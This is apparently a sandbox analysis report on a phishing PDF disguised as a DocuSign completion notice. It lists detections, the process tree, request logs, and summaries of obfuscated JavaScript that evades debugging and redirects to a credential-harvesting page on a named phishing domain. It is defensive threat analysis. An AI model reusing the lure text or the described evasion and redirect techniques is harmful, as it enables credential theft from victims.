Edit tour

Windows Analysis Report
AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf

Overview

General Information

Sample name:	AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf
Analysis ID:	1587469
MD5:	dae4244a836a4a450d39198af13884b6
SHA1:	d3eca47192b4d008b7016a5dd79952520f5df912
SHA256:	86284c773f731f5c46ed025cab5b26caecf09f84a4f4ea29fac6d451ad413588
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Yara detected HtmlPhish29

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Suspicious PDF detected (based on various text indicators)

IP address seen in connection with other malware

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 4564 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7324 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1648,i,14027033372675645818,4714540916533078319,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 1672 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://share.hsforms.com/1iP-GWQvvT0CvU3TDKoL6Swsw4gs" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7088 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2664 --field-trial-handle=2532,i,2747165998930371040,13426695506378411173,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.1.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://5qwo.oventera.ru/favicon.ico

Avira URL Cloud: Label: phishing

Phishing

Yara detected HtmlPhish29

Source: Yara match

File source: 1.1.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: PDF document	Joe Sandbox AI: Page contains button: 'VIEW COMPLETED DOCUMENT' Source: 'PDF document'
Source: PDF document	Joe Sandbox AI: PDF document contains prominent button: 'view completed document'
Source: https://share.hsforms.com/1iP-GWQvvT0CvU3TDKoL6Swsw4gs	Joe Sandbox AI: Page contains button: 'VIEW DOCUMENT' Source: '1.0.pages.csv'

AI detected suspicious Javascript

Source: 0.16.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://5qwo.oventera.ru/1OSoK/?submissionGuid=372... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain (Google login page) after a delay. These behaviors are highly indicative of malicious intent, such as attempting to bypass security measures and potentially steal user credentials.
Source: 0.15.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://5qwo.oventera.ru/1OSoK/?submissionGuid=372... The provided JavaScript snippet contains several high-risk indicators, including dynamic code execution, data exfiltration, and obfuscated code/URLs. While the script appears to have some legitimate functionality, such as loading jQuery and setting up a CAPTCHA-like interface, the presence of these malicious behaviors raises significant concerns. Further investigation is warranted to determine the true intent and potential impact of this script.
Source: 0.17.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://5qwo.oventera.ru/1OSoK/?submissionGuid=372... This JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. The use of a Proxy object to wrap the entire code and the presence of heavily encoded strings are clear indicators of malicious intent. This script poses a significant security risk and should be treated with the utmost caution.

Suspicious PDF detected (based on various text indicators)

Source: Adobe Acrobat PDF

OCR Text: docusign Your document has been completed VIEW COMPLETED DOCUMENT Complete with DocuSign:: ACH Remittance_Statement.pdf Thank You. Do not share this email This email contains a secure link to DocuSign. Do not share this email, the link, or the access code with others. About DocuSign Sign documents electronically in just minutes. It's safe, secure, and legally binding. Whether you're in an office, at home, on-the-go or even across the globe DocuSign provides a professional trusted solution for Digital Transaction ManagementTM This message was sent to you by Cynthia Stock who is using the DocuSign Electronic Signature Service. If you would rather not receive email from this sender you may contact the sender with your request.

Source: https://5qwo.oventera.ru/1OSoK/?submissionGuid=372d032d-1b42-4dac-bf17-76c0861584fb

HTTP Parser: No favicon

Source: Joe Sandbox View	IP Address: 104.19.175.188 104.19.175.188
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 104.16.118.116 104.16.118.116
Source: Joe Sandbox View	IP Address: 104.18.40.240 104.18.40.240

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /1iP-GWQvvT0CvU3TDKoL6Swsw4gs HTTP/1.1Host: share.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /forms-submission-pages/static-1.5640/bundles/share-legacy.js HTTP/1.1Host: static.hsappstatic.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://share.hsforms.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /forms/embed/v3.js HTTP/1.1Host: js.hsforms.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /48528028.js HTTP/1.1Host: js.hs-scripts.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /48528028.js HTTP/1.1Host: js.hs-scripts.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=.KCJNpXxnivp9FkjJLkhUjXgtWisHKGyffK.IBCoIY0-1736507074-1.0.1.1-WEn_H9LcDeuTgsHodl.A_ny4TOIPBIMObn1f7KNTJ7FwNpnaUlEidhPtVefGw1UjbVHfXbrZtpdSk0hvb757.A
Source: global traffic	HTTP traffic detected: GET /forms-submission-pages/static-1.5640/bundles/share-legacy.js HTTP/1.1Host: static.hsappstatic.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /leadflows.js HTTP/1.1Host: js.hsleadflows.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://share.hsforms.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics/1736506800000/48528028.js HTTP/1.1Host: js.hs-analytics.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /collectedforms.js HTTP/1.1Host: js.hscollectedforms.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://share.hsforms.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/48528028/banner.js HTTP/1.1Host: js.hs-banner.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /forms/embed/v3.js HTTP/1.1Host: js.hsforms.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=mnsonLSnUwFfwbYOY64rTU0oZhTPSK3RrXWaDLz1Zzk-1736507073-1.0.1.1-6J1RBGV.k6uYTQJDxBjlWIGbHInjJOgiv_xG0RPDG6ZAGmUekOCSRDjjvMxg4Ke0yvnhW4T0V2q9yGdWJfuJOg
Source: global traffic	HTTP traffic detected: GET /embed/v3/form/48528028/88ff8659-0bef-4f40-af53-74c32a82fa4b/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1Host: forms.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://share.hsforms.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /collected-forms/v1/config/json?portalId=48528028&utk= HTTP/1.1Host: forms.hscollectedforms.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://share.hsforms.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /collectedforms.js HTTP/1.1Host: js.hscollectedforms.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/48528028/banner.js HTTP/1.1Host: js.hs-banner.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=9jdTdpv.sSm7i5egUSTNifzD4QuN123OaARHNNwsetY-1736507074-1.0.1.1-3uIqTSYHcBj0AkONZozSbZaCtM4M34rsOFGLGcL5ufi3h.8RTVIvGx_aK5DlzF.vDkBjTgWWR2h0DdjMzxMmww
Source: global traffic	HTTP traffic detected: GET /analytics/1736506800000/48528028.js HTTP/1.1Host: js.hs-analytics.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=xACzv.R_TZr.d4J2thntbr6rCYlRhEI3uFTDpABXOuk-1736507074-1.0.1.1-hhrIBaN5Coil_5_jqu0WNmusK7zTI9Cd1cJnK9ZFbGK0TtQyCCMcQ267pPhsgpaiMvp2WX2nmSFR3I_GO_KQ4A
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1 HTTP/1.1Host: forms.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507074865&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /StyleGuideUI/static-3.415/img/sprocket/favicon-32x32.png HTTP/1.1Host: static.hsappstatic.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=klVYd7VD0Hw6pCD5qdFtANmhuBsOAbKRDNOfR6WQ1cE-1736507074-1.0.1.1-Y5ojX9ZZfgfpXDZKrxxj7ayW6yM81OV6V3i48r_JO6_X0F7Y1lAYtL1LyxtggV6YRymcpmgKUHq9kBXeXucBZA
Source: global traffic	HTTP traffic detected: GET /leadflows.js HTTP/1.1Host: js.hsleadflows.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=15&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507074992&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-DEFINITION_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
Source: global traffic	HTTP traffic detected: GET /hubfs/48528028/dicna7me-Jan-09-2025-05-47-09-4108-PM.png HTTP/1.1Host: 48528028.fs1.hubspotusercontent-na1.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
